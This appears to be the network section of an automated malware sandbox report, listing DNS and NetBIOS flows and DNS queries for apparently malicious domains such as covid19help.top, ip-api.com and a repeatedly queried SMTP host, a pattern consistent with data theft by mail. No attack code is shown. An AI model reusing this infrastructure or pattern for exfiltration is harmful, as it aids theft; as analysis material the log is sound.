Apr 18, 2024 10:25:13.036676884 CEST	59447	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.122720003 CEST	51828	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.141865015 CEST	53	59447	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.142091036 CEST	59447	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.227605104 CEST	53	51828	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.227844000 CEST	51828	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.247337103 CEST	53	59447	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.247616053 CEST	59447	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.333023071 CEST	53	51828	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.333240032 CEST	51828	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.352905035 CEST	53	59447	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.353507996 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:13.395994902 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:13.438180923 CEST	53	51828	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.438505888 CEST	51828	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.543231010 CEST	53	51828	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.543540001 CEST	51828	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:13.648858070 CEST	53	51828	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:13.649589062 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:14.113533020 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:14.176754951 CEST	53406	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:14.281635046 CEST	53	53406	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:14.281838894 CEST	53406	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:14.386626005 CEST	53	53406	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:14.386848927 CEST	53406	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:14.409919977 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:14.491580009 CEST	53	53406	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:14.491825104 CEST	53406	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:14.596282005 CEST	53	53406	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:14.596518993 CEST	53406	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:14.701714039 CEST	53	53406	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:14.702328920 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:14.878040075 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:15.174482107 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:15.455190897 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:15.652080059 CEST	56345	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:15.758166075 CEST	53	56345	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:15.758512020 CEST	56345	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:15.863280058 CEST	53	56345	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:15.863524914 CEST	56345	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:15.948753119 CEST	51870	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:15.968234062 CEST	53	56345	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:15.968429089 CEST	56345	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.053479910 CEST	53	51870	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.054028988 CEST	51870	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.073370934 CEST	53	56345	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.073586941 CEST	56345	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.158512115 CEST	53	51870	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.158782959 CEST	51870	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.177798033 CEST	53	56345	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.178360939 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:16.219523907 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:16.263518095 CEST	53	51870	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.263794899 CEST	51870	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.368520021 CEST	53	51870	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.368724108 CEST	51870	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:16.473067999 CEST	53	51870	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:16.479986906 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:16.937676907 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:16.994009018 CEST	65009	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:17.098417997 CEST	53	65009	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:17.098876953 CEST	65009	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:17.203258038 CEST	53	65009	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:17.203530073 CEST	65009	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:17.233521938 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:17.308247089 CEST	53	65009	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:17.308537006 CEST	65009	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:17.412888050 CEST	53	65009	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:17.414278030 CEST	65009	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:17.518621922 CEST	53	65009	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:17.519150972 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:17.701536894 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:17.997925997 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:18.278722048 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:18.474601984 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.578928947 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.579118967 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.683840036 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.684026003 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.771708965 CEST	54521	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.788434982 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.789347887 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.876569033 CEST	53	54521	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.877000093 CEST	54521	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.893927097 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.894135952 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.981931925 CEST	53	54521	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.982201099 CEST	54521	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:18.998943090 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:18.999562025 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:19.043140888 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:19.086460114 CEST	53	54521	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:19.086786985 CEST	54521	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:19.191555977 CEST	53	54521	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:19.191781044 CEST	54521	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:19.296025038 CEST	53	54521	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:19.296711922 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:19.763140917 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:19.848297119 CEST	49750	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:19.955492973 CEST	53	49750	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:19.955879927 CEST	49750	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:20.057135105 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:20.060045958 CEST	53	49750	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:20.072670937 CEST	49750	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:20.176865101 CEST	53	49750	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:20.177155018 CEST	49750	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:20.281358004 CEST	53	49750	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:20.281771898 CEST	49750	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:20.386228085 CEST	53	49750	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:20.387573957 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:20.525134087 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:20.821618080 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:21.150479078 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:21.298233032 CEST	64687	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.403492928 CEST	53	64687	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.403717041 CEST	64687	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.508846045 CEST	53	64687	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.509084940 CEST	64687	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.593378067 CEST	65084	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.614125967 CEST	53	64687	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.621275902 CEST	63373	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.698522091 CEST	53	65084	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.698740959 CEST	65084	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.726119041 CEST	53	63373	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.735538960 CEST	63373	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.803601027 CEST	53	65084	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.803832054 CEST	65084	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.840003967 CEST	53	63373	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.848181009 CEST	63373	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.909017086 CEST	53	65084	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.909229994 CEST	65084	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:21.913527966 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:21.953030109 CEST	53	63373	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:21.953242064 CEST	63373	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.013854027 CEST	53	65084	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.014059067 CEST	65084	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.058188915 CEST	53	63373	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.058383942 CEST	63373	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.118887901 CEST	53	65084	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.125036955 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:22.163604021 CEST	53	63373	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.164047956 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:22.688958883 CEST	56207	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.793380976 CEST	53	56207	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.793675900 CEST	56207	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.880745888 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:22.898426056 CEST	53	56207	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:22.902527094 CEST	56207	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:22.927542925 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:23.007734060 CEST	53	56207	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:23.008178949 CEST	56207	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:23.113130093 CEST	53	56207	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:23.113344908 CEST	56207	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:23.218529940 CEST	53	56207	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:23.256566048 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:23.645145893 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:23.691932917 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:24.019568920 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:24.419750929 CEST	51955	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:24.524755955 CEST	53	51955	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:24.526748896 CEST	51955	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:24.631299973 CEST	53	51955	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:24.632158995 CEST	51955	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:24.736793995 CEST	53	51955	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:24.737422943 CEST	51955	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:24.783965111 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:24.842350960 CEST	53	51955	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:24.844057083 CEST	51955	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:24.948928118 CEST	53	51955	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:24.952094078 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:25.561140060 CEST	58971	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:25.665827036 CEST	53	58971	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:25.666066885 CEST	58971	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:25.704354048 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:25.770854950 CEST	53	58971	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:25.772541046 CEST	58971	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:25.877036095 CEST	53	58971	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:25.877403975 CEST	58971	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:25.982014894 CEST	53	58971	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:25.982223034 CEST	58971	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:26.086823940 CEST	53	58971	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:26.087409973 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:26.468759060 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:26.843175888 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:27.240612030 CEST	51014	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.345094919 CEST	53	51014	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.345319033 CEST	51014	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.449523926 CEST	53	51014	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.449717045 CEST	51014	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.554789066 CEST	53	51014	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.554932117 CEST	51014	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.607552052 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:27.659209013 CEST	53	51014	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.662209034 CEST	51014	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.766480923 CEST	53	51014	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.773974895 CEST	49690	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.878813028 CEST	53	49690	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.879113913 CEST	49690	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:27.983660936 CEST	53	49690	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:27.984003067 CEST	49690	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.088468075 CEST	53	49690	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.089175940 CEST	49690	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.195133924 CEST	53	49690	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.195342064 CEST	49690	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.299817085 CEST	53	49690	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.300882101 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:28.379762888 CEST	60169	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.485383034 CEST	53	60169	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.485917091 CEST	60169	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.590337038 CEST	53	60169	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.590712070 CEST	60169	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.695373058 CEST	53	60169	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.695720911 CEST	60169	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.802272081 CEST	53	60169	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.802583933 CEST	60169	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:28.907179117 CEST	53	60169	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:28.907737017 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:29.058368921 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:29.666779995 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:29.822777987 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:30.431184053 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:31.203442097 CEST	53060	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:31.307966948 CEST	53	53060	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:31.308289051 CEST	53060	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:31.412848949 CEST	53	53060	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:31.413068056 CEST	53060	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:31.518158913 CEST	53	53060	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:31.518390894 CEST	53060	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:31.623239994 CEST	53	53060	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:31.623454094 CEST	53060	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:31.727821112 CEST	53	53060	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:31.728501081 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:32.490385056 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:33.254784107 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:25:34.036279917 CEST	49949	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:34.140799999 CEST	53	49949	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:34.143178940 CEST	54027	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:25:34.247992992 CEST	53	54027	8.8.8.8	192.168.2.22
Apr 18, 2024 10:25:51.606429100 CEST	138	138	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:32.683054924 CEST	63950	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:32.787522078 CEST	53	63950	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:32.788002014 CEST	63950	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:32.892467976 CEST	53	63950	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:32.892724991 CEST	63950	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:32.997035027 CEST	53	63950	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:32.997262955 CEST	63950	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:33.109421015 CEST	53	63950	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:33.109623909 CEST	63950	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:33.213954926 CEST	53	63950	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:33.214474916 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:33.970686913 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:34.736315012 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:35.526380062 CEST	58257	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:35.631203890 CEST	53	58257	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:35.631419897 CEST	58257	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:35.735760927 CEST	53	58257	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:35.736143112 CEST	58257	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:35.840533972 CEST	53	58257	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:35.840867043 CEST	58257	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:35.945709944 CEST	53	58257	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:35.945952892 CEST	58257	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:36.050945997 CEST	53	58257	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:36.053005934 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:36.809410095 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:37.573812008 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:45.269303083 CEST	54738	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.374011993 CEST	53	54738	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.468240023 CEST	49478	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.573041916 CEST	53	49478	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.573307991 CEST	49478	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.677819967 CEST	53	49478	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.678051949 CEST	49478	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.782831907 CEST	53	49478	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.783088923 CEST	49478	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.887547970 CEST	53	49478	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.887870073 CEST	49478	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:45.992455959 CEST	53	49478	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:45.993232965 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:46.746653080 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:47.514313936 CEST	137	137	192.168.2.22	192.168.2.255
Apr 18, 2024 10:26:48.922852993 CEST	49288	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:49.027340889 CEST	53	49288	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:49.027551889 CEST	49288	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:49.132123947 CEST	53	49288	8.8.8.8	192.168.2.22
Apr 18, 2024 10:26:49.133200884 CEST	49288	53	192.168.2.22	8.8.8.8
Apr 18, 2024 10:26:49.237709999 CEST	53	49288	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 10:23:54.159703016 CEST	192.168.2.22	8.8.8.8	0xb979	Standard query (0)	covid19help.top	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:00.799091101 CEST	192.168.2.22	8.8.8.8	0x1d8d	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.615402937 CEST	192.168.2.22	8.8.8.8	0x2a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.628129959 CEST	192.168.2.22	8.8.8.8	0x88b4	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.771320105 CEST	192.168.2.22	8.8.8.8	0x88b4	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.808079958 CEST	192.168.2.22	8.8.8.8	0x2a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.879147053 CEST	192.168.2.22	8.8.8.8	0x88b4	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915832043 CEST	192.168.2.22	8.8.8.8	0x2a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984481096 CEST	192.168.2.22	8.8.8.8	0x88b4	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.021029949 CEST	192.168.2.22	8.8.8.8	0x2a1	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.135205984 CEST	192.168.2.22	8.8.8.8	0x88b4	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.155044079 CEST	192.168.2.22	8.8.8.8	0xe8ae	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.574213982 CEST	192.168.2.22	8.8.8.8	0x9601	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.680083990 CEST	192.168.2.22	8.8.8.8	0x9601	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.269649982 CEST	192.168.2.22	8.8.8.8	0x8774	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.595623016 CEST	192.168.2.22	8.8.8.8	0x8774	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.245851994 CEST	192.168.2.22	8.8.8.8	0x6143	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.352066994 CEST	192.168.2.22	8.8.8.8	0x6143	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.486450911 CEST	192.168.2.22	8.8.8.8	0x6143	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591933012 CEST	192.168.2.22	8.8.8.8	0x6143	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697343111 CEST	192.168.2.22	8.8.8.8	0x6143	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.906383991 CEST	192.168.2.22	8.8.8.8	0xf38a	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:09.026467085 CEST	192.168.2.22	8.8.8.8	0xf38a	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.045865059 CEST	192.168.2.22	8.8.8.8	0x5051	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.085376978 CEST	192.168.2.22	8.8.8.8	0xe35a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
